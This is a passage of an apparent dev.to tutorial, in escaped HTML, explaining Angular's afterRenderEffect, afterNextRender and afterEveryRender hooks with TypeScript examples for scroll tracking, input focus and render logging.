      &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;initialValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="c1"&gt;// creating dependency on the scroll signal&lt;/span&gt;
      &lt;span class="na"&gt;earlyRead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scrollPercentage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="c1"&gt;// write to DOM every time scrollPercentage emits&lt;/span&gt;
      &lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cleanUp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="nx"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Scroll: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;val&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;%`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtb9d6dck38k1gsocgic.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtb9d6dck38k1gsocgic.gif" alt="Scroll Attached Using afterRenderEffect" width="623" height="556"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the above example, the &lt;code&gt;afterRenderEffect&lt;/code&gt; is triggered once the browser finishes painting the DOM element. It then uses the &lt;code&gt;earlyRead&lt;/code&gt; callback to register the &lt;code&gt;scrollPercentage&lt;/code&gt; signal dependency. Every time &lt;code&gt;scrollPercentage&lt;/code&gt; emits (as you scroll), the &lt;code&gt;write&lt;/code&gt; phase is triggered to update the DOM. &lt;/p&gt;

&lt;p&gt;Of course you can achieve this exact result without using the &lt;code&gt;afterRenderEffect&lt;/code&gt; and just directly interpolating the &lt;code&gt;scrollPercentage&lt;/code&gt; signal in the HTML (&lt;code&gt;{{ scrollPercentage() }}&lt;/code&gt;). &lt;/p&gt;

&lt;p&gt;The documentation about &lt;code&gt;afterRenderEffect&lt;/code&gt; also talks about the &lt;code&gt;read&lt;/code&gt; optionality, so what’s the difference?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;earlyRead&lt;/code&gt; when you want to read the DOM before any writes happen. Angular runs the &lt;code&gt;earlyRead&lt;/code&gt; callback first, so you can grab measurements (width, height, etc.), before any DOM updates, and pass that information to the &lt;code&gt;write&lt;/code&gt; phase.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;read&lt;/code&gt; when Angular has applied all styles in the &lt;code&gt;write&lt;/code&gt; phase, as this one runs after it. It’s good when you want to read some correct measurements after all UI changes, but you can not pass those values back to the &lt;code&gt;write&lt;/code&gt; phase. Only &lt;code&gt;earlyRead&lt;/code&gt; allows passing values to the &lt;code&gt;write&lt;/code&gt; operation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You also have the option to use the &lt;code&gt;mixedReadWrite&lt;/code&gt; phase, which allows you to read and subsequently write data to the DOM; however, Angular recommends avoiding it and using the previously described ones. The phase  order: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;earlyRead&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;write&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mixedReadWrite&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;read&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One other great resource I’ve found is from Code Shots With Profanis - &lt;a href="https://www.youtube.com/watch?v=W7iOgNthNW8" rel="noopener noreferrer"&gt;Get to Know the AfterRenderEffect hook in Angular&lt;/a&gt;. I do recommend checking out his explanation on this topic. &lt;/p&gt;

&lt;p&gt;From my understanding, when you only use client-side rendering and you ignore the phases in &lt;code&gt;afterRenderEffect&lt;/code&gt;, then it behaves the same as &lt;code&gt;effect&lt;/code&gt;. My above example with the scroll can also be achieved by the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// example 1&lt;/span&gt;
    &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scrollPercentage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="nx"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Scroll: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// example 2&lt;/span&gt;
    &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scrollPercentage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="nx"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Scroll: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt; However, not utilizing the rendering phases, you are risking layout thrashing. It happens when the browser is forced to repeatedly recalculate the layout, because your code is reading from and writing to the DOM in an uncoordinated way, creating a so called loop. By separating earlyRead (all reads) from write (all writes), Angular batches DOM reads before any writes happen. This avoids any unexpected looping behavior.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Using &lt;code&gt;afterNextRender&lt;/code&gt; and &lt;code&gt;afterEveryRender&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://angular.dev/guide/components/lifecycle#aftereveryrender-and-afternextrender" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; about these two function says that: “&lt;em&gt;we can register a&amp;nbsp;render callback&amp;nbsp;to be invoked after Angular has finished rendering&amp;nbsp;all components&amp;nbsp;on the page into the DOM.&lt;/em&gt;”. The idea is the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;afterNextRender&lt;/code&gt; runs only once after Angular paints the view for the first time&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;afterEveryRender&lt;/code&gt; runs after every render cycle, like a subscription to render events&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we were to compare these two functions to a life cycle hook, the closest (in behavior) we would get is &lt;code&gt;afterNextRender&lt;/code&gt; to &lt;code&gt;ngAfterViewInit&lt;/code&gt; and &lt;code&gt;afterEveryRender&lt;/code&gt; to &lt;code&gt;ngAfterViewChecked&lt;/code&gt;, as &lt;code&gt;afterEveryRender&lt;/code&gt; runs every time a &lt;code&gt;tick()&lt;/code&gt; re-renders something dirty. Compared to life cycle hooks, &lt;code&gt;afterNextRender&lt;/code&gt; and  &lt;code&gt;afterEveryRender&lt;/code&gt; only run on the client side, whereas life cycle hooks are also triggered on SSR. &lt;/p&gt;

&lt;p&gt;The other difference is that the hooks are scoped at the component level, while afterNextRender and afterEveryRender are scoped to the rendering of the whole app (the page we are looking at). Angular’s team also provides a simple diagram to better understand the execution order.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F315ne3risjojlwv7efmp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F315ne3risjojlwv7efmp.png" alt="Angular Init" width="800" height="1242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Understanding &lt;code&gt;afterNextRender&lt;/code&gt; is a bit simpler, since it is executed only once, after DOM has been painted. You can put logic from &lt;code&gt;ngOnInit&lt;/code&gt; into it, as &lt;code&gt;afterNextRender&lt;/code&gt; is called inside the &lt;code&gt;constructor&lt;/code&gt;. You can render data into charts once, or focus on an empty input element:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
     &amp;lt;input #input placeholder="first" value="Test1" /&amp;gt;
     &amp;lt;input #input placeholder="second" /&amp;gt;
     &amp;lt;input #input placeholder="third" /&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChildren&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;firstEmpty&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="c1"&gt;// this will focus on the 'second' input&lt;/span&gt;
      &lt;span class="nx"&gt;firstEmpty&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1a8dl0pbqs7aqe2vb9e0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1a8dl0pbqs7aqe2vb9e0.png" alt="Empty Input Focus" width="497" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;code&gt;afterEveryRender&lt;/code&gt; is, at least for my understanding, used for less common use cases. The question is: when do we actually need to execute some code after every rendering cycle? One example is the' onStable' method of &lt;a href="https://angular.dev/api/core/NgZone" rel="noopener noreferrer"&gt;ZoneJS&lt;/a&gt;. The &lt;code&gt;onStable&lt;/code&gt; method is triggered every time a change detection occurs, and as we move toward zoneless applications, you can copy &lt;code&gt;onStable&lt;/code&gt; logic into &lt;code&gt;afterEveryRender&lt;/code&gt;, which will result in the same behavior. See the following code and GIF for a demonstration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-resize-listener&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;button (click)="onClick1()"&amp;gt;Empty Button&amp;lt;/button&amp;gt;
    &amp;lt;button (click)="onClick2()"&amp;gt;Text Button&amp;lt;/button&amp;gt;

    &amp;lt;p&amp;gt;Text: {{ text() }}&amp;lt;/p&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ResizeListenerComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;ngZone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NgZone&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ngZone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onStable&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asObservable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ZoneJs - triggered&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="nf"&gt;afterEveryRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterEveryRender - triggered&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;onClick1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

  &lt;span class="nf"&gt;onClick2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;K`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffarh646x85981qm3lp8s.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffarh646x85981qm3lp8s.gif" alt="NgZone vs AfterEveryRender" width="800" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In theory I could rewrite my first example with scroll value from Observables into &lt;code&gt;afterEveryRender&lt;/code&gt; and it would work the same way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;div #divTop style="height: 20px; position: sticky; top: 0"&amp;gt;&amp;lt;/div&amp;gt;

    &amp;lt;div #divRef style="height: 400px; overflow: scroll;"&amp;gt;
      &amp;lt;div style="height: 3000px; background: red"&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;divTop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;divRef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterEveryRender&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;earlyRead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="na"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="p"&gt;}),&lt;/span&gt;
